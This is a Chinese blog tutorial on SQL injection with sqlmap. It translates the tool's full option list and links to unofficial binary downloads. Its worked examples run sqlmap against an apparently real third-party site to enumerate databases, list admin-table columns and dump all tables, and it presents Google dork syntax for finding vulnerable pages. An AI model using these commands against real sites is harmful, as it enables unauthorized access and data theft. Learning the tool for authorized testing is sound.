手把手教你用Python輕鬆玩轉SQL注入

點擊上方“ Python爬蟲與數據挖掘 ”,進行關注

回覆“書籍”即可獲贈Python從入門到進階共10本電子書

山有木兮木有枝,心悅君兮君不知。

前言

大家好,我是黃偉。相信大家經常有聽到過SQL注入啥的,但是並不是特別瞭解;小編以前就是經常聽別人說,但是自己啥都不懂,直到後來看了相關教材後才明白,原來是這麼個東西,那麼到底是什麼東西了,又或者是不是個東西了?我們接着往下看。


一、淺談SQL注入

SQL注入其實就是把SQL命令插入到WEB表單中提交或者輸入一些頁面請求的查詢字符串,比如我們輸網址,就是相當於這種操作,只不過我們不是在測試SQL注入漏洞,而僅僅只是爲了輸入後看到相應網頁上的內容而已。一般方法有,如:猜數據表名,其次就是繞過後臺漏洞,一般這兩種方法And或者Or關鍵字用的比較多。國內曾經也出現過類似的軟件,像什麼啊D,明小子,曾經也是一衆腳本小子的必備神器,現在由於未更新也怕是涼涼了,只不過曾經也曾輝煌過。


二、Sqlmap的注入方式

Sqlmap總共有五種不同的注入模式,如下:

1.時間盲注

2.布爾盲注

3.報錯注入

4.聯合查詢注入

5.堆查詢注入


三、Sqlmap支持的數據庫

基本上主流數據庫它都支持,比如Mysql ,Mongo,Oracle,Sqlserver,Access,Sqlite等等。


四、Sqlmap安裝

這裏我們可以使用兩種方案,一個是安裝Sqlmap的Python版本,另一個是下載已經編譯好的Sqlmap應用程序,看你選擇哪個。只不過官網下載會比較慢,所以,貼心的小編已經將它們都下載下來了,大家直接按照我提供的下載地址進行下載即可,如下:

Sqlmap.py :https://u062.com/file/7715018-453776489Sqlmap.exe:https://u062.com/file/7715018-453776892


五、玩轉基本命令

這裏我們以Sqlmap程序爲主來進行講解,當然你也可以使用Python版的Sqlmap,命令都一樣。有命令自然離不開參數,Sqlmap也是一樣,不過它裏面的參數也是出奇的多,我的乖乖,小編表示哭暈在廁所。下面我們來一個個進行講解,也許可能講的不是很全面,希望多多包涵。我們都知道不管哪個命令行工具都會有幫助命令,Sqlmap也不例外,一個""-h",直接所有命令通通給你列出來,如下:

相信大家從圖中看到了衆多的中文,開始犯難了,不慌,問題不大。此外,不知道大家有沒有看到”-hh“這個不知道是什麼鬼,其實這就是比”-h“稍微高級那麼一點而已。如圖所示:

比”-h“看起來更加有條理。那麼讓俺來親自向大家介紹下這些參數的用處吧,起碼先給它翻譯過來。

Options(選項):–version 顯示程序的版本號並退出-h, –help 顯示此幫助消息並退出-v VERBOSE 詳細級別:0-6(默認爲1以上七個等級分別爲:0、只顯示python錯誤以及嚴重的信息1、同時顯示基本信息和警告信息(默認)2、同時顯示debug信息3、同時顯示注入的payload4、同時顯示HTTP請求5、同時顯示HTTP響應頭6、同時顯示HTTP響應頁面

Target(目標):以下至少需要設置其中一個選項,設置目標URL-d DIRECT 直接連接到數據庫。-u URL, –url=URL 目標URL-l LIST 從Burp或WebScarab代理的日誌中解析目標。-m BULKFILE 掃描多個目標列入給定文本文件 -r REQUESTFILE 從一個文件中載入HTTP請求。-g GOOGLEDORK 處理Google dork的結果作爲目標URL-c CONFIGFILE 從INI配置文件中加載選項。  Request(請求):這些選項可以用來指定如何連接到目標URLdata=DATA 通過POST發送的數據字符串——param-del = PDEL字符用於分割參數值–cookie=COOKIE HTTP Cookie頭--load-cookies= 讀取Netscape/wget格式的cookies文件–cookie-urlencode URL 編碼生成的cookie注入drop-set-cookie 忽略響應的Set – Cookie頭信息user-agent=AGENT 指定 HTTP UserAgent–random-agent 使用隨機選定的HTTP UserAgent --force-ssl 使用SSL / HTTPS請求 --host=HOST HTTP主機頭–referer=REFERER 指定 HTTP Referer頭–headers=HEADERS 換行分開,加入其它的HTTP–auth-type=ATYPE HTTP身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份驗證憑據(用戶名:密碼)–auth-cert=ACERT HTTP認證證書(key_file,cert_file)–proxy=PROXY 使用HTTP代理連接到目標URL–proxy-cred=PCRED HTTP代理身份驗證憑據(用戶名:密碼)ignore-proxy 忽略系統默認的HTTP代理–delay=DELAY 在每個HTTP請求之間的延遲時間,單位爲秒timeout=TIMEOUT 等待連接超時的時間(默認爲30秒)–retries=RETRIES 連接超時後重新連接的時間(默認3scope=SCOPE 從所提供的代理日誌中過濾器目標的正則表達式safe-url=SAFURL 在測試過程中經常訪問的url地址safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL --skip-urlencode 跳過URL編碼的數據 --eval=EVALCODE 評估請求之前提供Python代碼(如。“import hashlib; id2 = hashlib.md5 (id) .hexdigest())


Optimization(優化):這些選項可用於優化SqlMap的性能。-o 開啓所有優化開關–predict-output 預測常見的查詢輸出keep-alive 使用持久的HTTP(S)連接null-connection 從沒有實際的HTTP響應體中檢索頁面長度–threads=THREADS 最大的HTTP(S)請求併發量(默認爲1

Injection(注入):這些選項可以用來指定測試哪些參數, 提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(S)–dbms=DBMS 強制後端的DBMS爲此值–os=OS 強制後端的DBMS操作系統爲這個值——invalid-bignum 使用大數據無效值——invalid-logical 使用邏輯操作無效值——no-cast 關掉負載鑄造機制——no-unescape 關掉字符串unescap機制–prefix=PREFIX 注入payload字符串前綴–suffix=SUFFIX 注入payload字符串後綴–tamper=TAMPER 使用給定的腳本篡改注入數據 --skip=SKIP 跳過給定的參數
Detection(檢測):這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。level=LEVEL 執行測試的等級(1-5,默認爲1–risk=RISK 執行測試的風險(0-3,默認爲1string=STRING 字符串匹配時查詢計算爲True--not-string=NOT.. 字符串匹配時查詢計算爲False–regexp=REGEXP 查詢時有效時在頁面匹配正則表達式——code= HTTP狀態碼text-only 僅基於在文本內容比較網頁

Techniques(技巧):這些選項可用於調整具體的SQL注入測試。–technique=TECH SQL注入技術測試(默認BEUST)time-sec=TIMESEC DBMS響應的延遲時間(默認爲5秒)union-cols=UCOLS 定列範圍用於測試UNION查詢注入union-char=UCHAR 用於暴力猜解列數的字符--dns-domain= DNS . .域名用於DNS漏出攻擊--second-order= S . .產生的頁面的url搜索二階響應
Fingerprint(指紋):-f, –fingerprint 執行檢查廣泛的DBMS版本指紋

Enumeration(枚舉):這些選項可以用來列舉後端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行您自己的SQL語句。-b, –banner 檢索數據庫管理系統的標識current-user 檢索數據庫管理系統當前用戶current-db 檢索數據庫管理系統當前數據庫is-dba 檢測DBMS當前用戶是否DBAusers 枚舉數據庫管理系統用戶–passwords 枚舉數據庫管理系統用戶密碼哈希privileges 枚舉數據庫管理系統用戶的權限roles 枚舉數據庫管理系統用戶的角色–dbs 枚舉數據庫管理系統數據庫tables 枚舉的DBMS數據庫中的表columns 枚舉DBMS數據庫表列——schema 列舉DBMS模式——count 計算檢索表(s)的條目數量–dump 轉儲數據庫管理系統的數據庫中的表項–dump-all 轉儲所有的DBMS數據庫表中的條目search 搜索列(S),表(S)和/或數據庫名稱(S)-D DBname 要進行枚舉的指定數據庫名-T TBLname 要進行枚舉的指定數據庫表(如:-T tablename –columns-C COL 要進行枚舉的數據庫列-U USER 用來進行枚舉的數據庫用戶-–exclude-sysdbs 枚舉表時排除系統數據庫-–start=LIMITSTART 第一個查詢輸出進入檢索-–stop=LIMITSTOP 最後查詢的輸出進入檢索-–first=FIRSTCHAR 第一個查詢輸出字的字符檢索-–last=LASTCHAR 最後查詢的輸出字字符檢索-–sql-query=QUERY 要執行的SQL語句-–sql-shell 提示交互式SQL的shell--sql-file = SQLFILE執行SQL語句從給定的文件(s)
Brute force(蠻力):這些選項可以被用來運行蠻力檢查。–common-tables 檢查存在共同表–common-columns 檢查存在共同列

User-defined function injection(用戶自定義函數注入):這些選項可以用來創建用戶自定義函數。–udf-inject 注入用戶自定義函數shared-lib=SHLIB 共享庫的本地路徑

File system access(訪問文件系統):這些選項可以被用來訪問後端數據庫管理系統的底層文件系統。file-read=RFILE 從後端的數據庫管理系統文件系統讀取文件file-write=WFILE 編輯後端的數據庫管理系統文件系統上的本地文件file-dest=DFILE 後端的數據庫管理系統寫入文件的絕對路徑

Operating system access(操作系統訪問):這些選項可以用於訪問後端數據庫管理系統的底層操作系統。–os-cmd=OSCMD 執行操作系統命令–os-shell 交互式的操作系統的shell–os-pwn 獲取一個OOB shell,meterpreter或VNC–os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC–os-bof 存儲過程緩衝區溢出利用–priv-esc 數據庫進程用戶權限提升–msf-path=MSFPATH Metasploit Framework本地的安裝路徑–tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑

Windows註冊表訪問:這些選項可以被用來訪問後端數據庫管理系統Windows註冊表。–reg-read 讀一個Windows註冊表項值–reg-add 寫一個Windows註冊表項值數據–reg-del 刪除Windows註冊表鍵值–reg-key=REGKEY Windows註冊表鍵–reg-value=REGVAL Windows註冊表項值–reg-data=REGDATA Windows註冊表鍵值數據–reg-type=REGTYPE Windows註冊表項值類型

General(一般)這些選項可以用來設置一些一般的工作參數。-t TRAFFICFILE 記錄所有HTTP流量到一個文本文件中–batch 從不詢問用戶輸入,使用所有默認配置--charset=CHARSET 強制字符串編碼--crawl=CRAWLDEPTH 從起始位置爬取的深度--csv-del=CSVDEL 指定在CSV輸出中使用的分隔字符——dbms-cred=DBMS.. DBMS身份驗證憑據(用戶:密碼)--eta 顯示每個輸出的預計到達時間--flush-session 刷新當前目標的會話文件--forms 在目標URL上解析和測試表單--fresh-queries 忽略在會話文件中存儲的查詢結果--hex dump非ascii字符時,將其編碼爲16進制,收到後解碼還原--output-dir=OUT.. 輸出結果至文件--parse-errors 解析並顯示報錯信息--replicate 複製數據到一個數據庫sqlite3save file保存選項到INI配置文件——tor 使用tor匿名網絡——tor-port=TORPORT 設置Tor代理端口,而不是默認設置——tor-type=TORTYPE 設置Tor代理類型(HTTP違約,SOCKS4或SOCKS5)update 更新SqlMap

Miscellaneous(雜項):-z MNEMONICS 參數助記符,例:-z "bat,randoma,ign,tec=BEU" 其實就是隻要你寫的字母可以唯一匹配其它參數,就可以生效。check-payload IDS對注入payloads的檢測測試--alert=ALERT 在找到SQL注入時運行主機OS命令--answers=ANSWERS 設置問題答案,在剛剛的--batch 可以跳過很多問題,但只是選擇默認值,可以使用者個參數對特定問題設定特定答案。例:--answer "extending=N"–beep 發現SQL注入時提醒--cleanup SqlMap具體的UDF和表清理DBMS--dependencies 檢查缺少的Sql映射依賴項--disable-coloring 禁用控制檯輸出着色--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結果--identify-waf 識別目標的防火牆--mobile cosplay 手機--offline 在脫機模式下工作--purge-output 情況輸出文件夾--skip-waf 跳過WAF/IPS/IDS保護的啓發式檢測--smart 有大量檢測目標時候,只選擇基於錯誤的檢測--sqlmap-shell 創建一個交互的sqlmap_shell--tmp-dir=TMPDIR 更改存儲臨時文件的本地目錄--web-root=WEBROOT 設置Web服務器文檔根目錄。例:--web-root="/www"--wizard 給初級用戶的簡單向導界面

上面便是小編輸入Sqlmap的幫助命令後翻譯好的Sqlmap全部指令了,下面我們來進行實際應用下。

1.判斷相關條件來判斷URL是否存在注入

我們給它設置了一個數據庫和url的請求指令,相當於是在查找Mysql數據庫中是否存在注入點,然後我又選擇它裏面的數據庫來進行獲取,然後它便會不斷的使用SQL語句對這個數據庫進行定點爆破,如圖:

2.構建Post請求

上面我們所做的請求其實就是個Get請求,現在我們來看看Post請求,如下:

就像我們平時那樣構建Post請求的格式就可以了。

3.獲取數據庫、表信息

當我們找到注入點後就可以很輕易的找到這些數據庫和它對應的表了,比如:

Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 -dbs#所有數據庫Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-db#當前數據庫Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --tables -D VIP #數據表Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-user#當前用戶Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --columns -T admin -D VIP #查admin表中有哪些字段Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --is-dba#判斷歸屬Sqlmap -u http://www.juliwz.cn/forum.php?id=1  -D "VIP" --dump-all#轉儲所有表

4.爆破用戶名和密碼

利用自己搭建的WEB服務器來作爲測試點,我們來試試看,如下:

5.Google Hacker語法糖

講到這裏我們不得不提一下GoogleHacker語法,如下:

intitle: 從網頁標題中搜索指定的關鍵字,可專門用來搜索指定版本名稱的各類web程序,也可用allintitleinurl: 從url中搜索指定的關鍵字,可專門用來構造各種形式的漏洞url,也可用allinurlintext:從網頁中搜索指定的關鍵字,可專門用它來穿透到漏洞頁面等……也可用allintextfiletype: 搜索指定的文件後綴,例如:jpg sql mdb txt bak ini zip rar doc xls……site: 在某個特定的網站內中搜索指定的內容link:搜索和該鏈接有關聯連接,比如:友情鏈接index of: 找目錄遍歷會用到  +   強制包含某個字符進行查詢 -   查詢的時候忽略某個字符 ""  查詢的時候精確匹配雙引號內的字符 .   匹配某單個字符進行查詢 *   匹配任意字符進行查詢 |   或者,多個選擇,只要有一個關鍵字匹配上即可

講這個的目的主要是什麼了?其實也就是SQL注入,很多人可能覺得這跟SQL注入沒關係啊,那你就錯了,這個也是找後門的常用語法。不信的話你可以和小編一起來看看,如下:

後面的我就不介紹了,免得害人,相信看了我寫的例子,很多人都基本上會了。


六、總結

總的來說,SQL注入無非就是一段艱難險阻的路程,你可以發現但是別人也可以防禦,雖然你發現要比較久的時間,但是人家防禦卻是很輕鬆,個人覺得得不償失,不建議大家深入瞭解,只是做個簡單的介紹瞭解下就好,至少你搜索技能因此而提高了不少吧。

------------------- End -------------------

往期精彩文章推薦:

歡迎大家點贊,留言,轉發,轉載,感謝大家的相伴與支持

想加入Python學習羣請在後臺回覆【入羣

萬水千山總是情,點個【在看】行不行

/今日留言主題/

隨便說一兩句吧~

本文分享自微信公衆號 - Python爬蟲與數據挖掘(crawler_python)。
如有侵權,請聯繫 [email protected] 刪除。
本文參與“OSC源創計劃”,歡迎正在閱讀的你也加入,一起分享。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章